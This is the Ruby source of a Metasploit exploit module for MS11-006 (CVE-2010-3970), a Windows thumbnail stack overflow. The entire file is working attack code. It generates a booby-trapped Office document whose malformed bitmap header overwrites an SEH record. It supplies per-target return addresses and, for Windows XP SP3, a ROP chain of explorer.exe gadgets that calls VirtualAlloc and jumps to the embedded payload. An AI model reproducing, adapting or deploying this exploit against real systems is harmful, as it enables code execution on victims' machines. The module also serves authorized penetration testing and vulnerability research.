##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/ole'
require 'rex/ole/util'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS11-006 Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in the handling of thumbnails
        within .MIC files and various Office documents. When processing a thumbnail bitmap
        containing a negative 'biClrUsed' value, a stack-based buffer overflow occurs. This
        leads to arbitrary code execution.

        In order to trigger the vulnerable code, the folder containing the document must be
        viewed using the "Thumbnails" view.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Moti & Xu Hao',  # original discovery
          'Yaniv Miron aka Lament of ilhack',
          'jduck'           # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2010-3970' ],
          [ 'OSVDB', '70263' ],
          [ 'MSB', 'MS11-006' ],
          [ 'BID', '45662' ],
          [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2490606.mspx' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'         => 512,
          'BadChars'      => "\x00",
          'DisableNops'   => true # no need
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # This automatic target will combine all targets into one file :)
          [ 'Automatic', { } ],

          # Windows 2000 is a soft target... You're not still using it are you?
          [ 'Windows 2000 SP0/SP4 English',
            {
              'Offset' => 1548,   # Offset to SEH frame
              'Ret' => 0x75022ac4 # p/p/r ws2help.dll v5.0.2134.1
            }
          ],

          # My test machine didn't have l3codeca.acm loaded (as mentioned in their slides)
          # However, it did have msacm32.drv
          [ 'Windows XP SP3 English',
            {
              'Offset' => 1560,    # Offset to SEH frame
              # Address from msacm32.drv v5.1.2600.0
              'Ret' => 0x72d11676,  # push esi / mov esi,[esp+0xc] / push [esi+0x54] / call [esi+0x5c]

              # This ends up becoming eip due to above SafeSEH bypass
              'PivotOffset' => 1652,
              'RopStart' => 592
            }
          ],

=begin
          [ 'Windows Server 2003 SP2',
            {
              'Offset' => 1576,    # Offset to SEH frame
              'Ret' => 0xfeedfed5

              # rop is possible with l3codeca.acm, but its not clear how to force it to be loaded.
              # Also, it changed in Feburary 2010 ...
            }
          ],
=end

          # crash on a deref path to heaven.
          [ 'Crash Target for Debugging',
            {
              'Offset' => 1337,
              'Ret' => 0xdac0ffee
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Dec 15 2010'))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.doc'])
      ])
  end

  def exploit

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    fname = datastore['FILENAME']
    ltype = "exploit.fileformat.ms11_006"
    out = store_local(ltype, nil, '', fname)

    stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
    if (not stg)
      fail_with(Failure::BadConfig, 'Unable to create output file')
    end

    stm = stg.create_stream("\x05SummaryInformation")
    if (not stm)
      fail_with(Failure::BadConfig, 'Unable to create SummaryInformation stream')
    end
    stm << generate_summaryinfo()
    stm.close

    stg.close

    print_good("#{datastore['FILENAME']} created at #{out}")

  end

  def generate_summaryinfo
    si = Rex::OLE::PropertySetStream.new

    ps = Rex::OLE::PropertySet.new(Rex::OLE::FMTID_SummaryInformation)

    bihdr = [
      0x08,  # ??
      0x28,  # biSize (struct size)
      0x50,  # biWidth
      0x58,  # biHeight
      0x01,  # biPlanes
      0x08,  # biBitCount
      0x00,  # biCompression
      0xa8c0,  # biSizeImage
      0x00,  # biXPelsPerMeter
      0x00,  # biYPelsPerMeter
      # biClrUsed
      0x80000001,
      0x00   # biClrImportant
    ].pack('VVVVvvVVVVVV')

    # ClipboardData
    data = rand_text(8192)
    data[0, bihdr.length] = bihdr
    data[48, payload.encoded.length] = payload.encoded

    if target.name == "Automatic"
      targets.each { |t|
        next if t.name !~ /Windows/i

        add_target(data, t)
      }
    else
      add_target(data, target)
    end

    prop = Rex::OLE::Property.new(Rex::OLE::PIDSI_THUMBNAIL, Rex::OLE::VT_CF, data)
    ps << prop
    si << ps

    si.pack
  end

  def add_target(data, targ)
    if targ['PivotOffset'] and targ['RopStart']
      data[targ['Offset'] + 4, 4] = [targ.ret].pack('V')

      rvas = rvas_explorer_xpsp3()
      rop = generate_rop(rvas)

      pivot = rva2addr(rvas, 'add ebp, [edx+6] / pop eax / leave / ret 4')
      data[targ['PivotOffset'], 4] = [pivot].pack('V')

      data[targ['RopStart'], rop.length] = rop
    else
      seh = generate_seh_record(targ.ret)
      distance = targ['Offset'] + seh.length
      distance -= 48  # the entire source buffer isn't copied
      seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

      data[targ['Offset'], seh.length] = seh
    end
  end

  def rvas_explorer_xpsp3()
    # explorer.exe version v6.0.2900.5512
    # Just return this hash
    {
      'add ebp, [edx+6] / pop eax / leave / ret 4' => 0x2be9c,
      'ret'                    => 0x3ebd,

      'int3 / ... / ret'       => 0x1922f,

      'mov eax, esi / pop edi / pop esi / ret' => 0x2648,
      'pop ebp / ret'          => 0x3ebc,
      'add eax, ebp / ret'     => 0x13124,
      'mov eax, [eax] / ret'   => 0x74b7,

      'pop ebx / ret'          => 0x4bd5,
      'push eax / call ebx'    => 0xedc7,
      'pop edi / pop esi / ret' => 0x23bb,

      'pop ecx / ret'          => 0x1acd9,
      'call [ecx] / pop ebp / ret 0x10' => 0x2ad52,

      'pop edi / ret'          => 0x319bc,

      'lea edi, [eax+0x1c] / rep movsd / pop edi / pop esi / ret' => 0x88c4,

      'mov [eax], ecx / pop ebp / ret 4' => 0xa747,
      'jmp eax'                => 0x2080
    }
  end

  def generate_rop(rvas)
    # ROP fun! (XP SP3 English, Dec 29 2010)
    rvas.merge!({
      # Instructions / Name    => RVA
      'BaseAddress'            => 0x01000000,
      'imp_VirtualAlloc'       => 0x11e8,
      'Scratch'                => 0x46060
    })

    rop_stack = [
      'ret',
      :unused,  # from pivot

      # First, get the address of our source buffer in relation to the
      # SEH record pointer now saved in ESI
      'mov eax, esi / pop edi / pop esi / ret',
      :unused,
      :unused,

      'pop ebp / ret',
      0xfffffa18,
      'add eax, ebp / ret',

      'pop ebx / ret',
      'pop edi / pop esi / ret',
      'push eax / call ebx',

      # Allocate an RWX memory segment
      'pop ecx / ret',
      'imp_VirtualAlloc',

      'call [ecx] / pop ebp / ret 0x10',
      0,         # lpAddress
      0x1000,    # dwSize
      0x3000,    # flAllocationType
      0x40,      # flProt
      :unused,

      # Copy the original payload
      'pop ecx / ret',
      :unused,
      :unused,
      :unused,
      :unused,
      0x80,      # dwords to copy

      'lea edi, [eax+0x1c] / rep movsd / pop edi / pop esi / ret',
      :unused,
      :unused,

      # Add a jump over the space/crap
      'pop ecx / ret',
      0x90901aeb,

      'mov [eax], ecx / pop ebp / ret 4',
      :unused,

      'jmp eax'
    ]

    rop_stack.map! { |e|
      if e.kind_of? String
        # Meta-replace (RVA)
        fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e]
        rvas['BaseAddress'] + rvas[e]

      elsif e == :unused
        # Randomize
        rand_text(4).unpack('V').first

      else
        # Literal
        e
      end
    }

    rop_stack.pack('V*')
  end

  def rva2addr(rvas, key)
    fail_with(Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key]
    rvas['BaseAddress'] + rvas[key]
  end

end
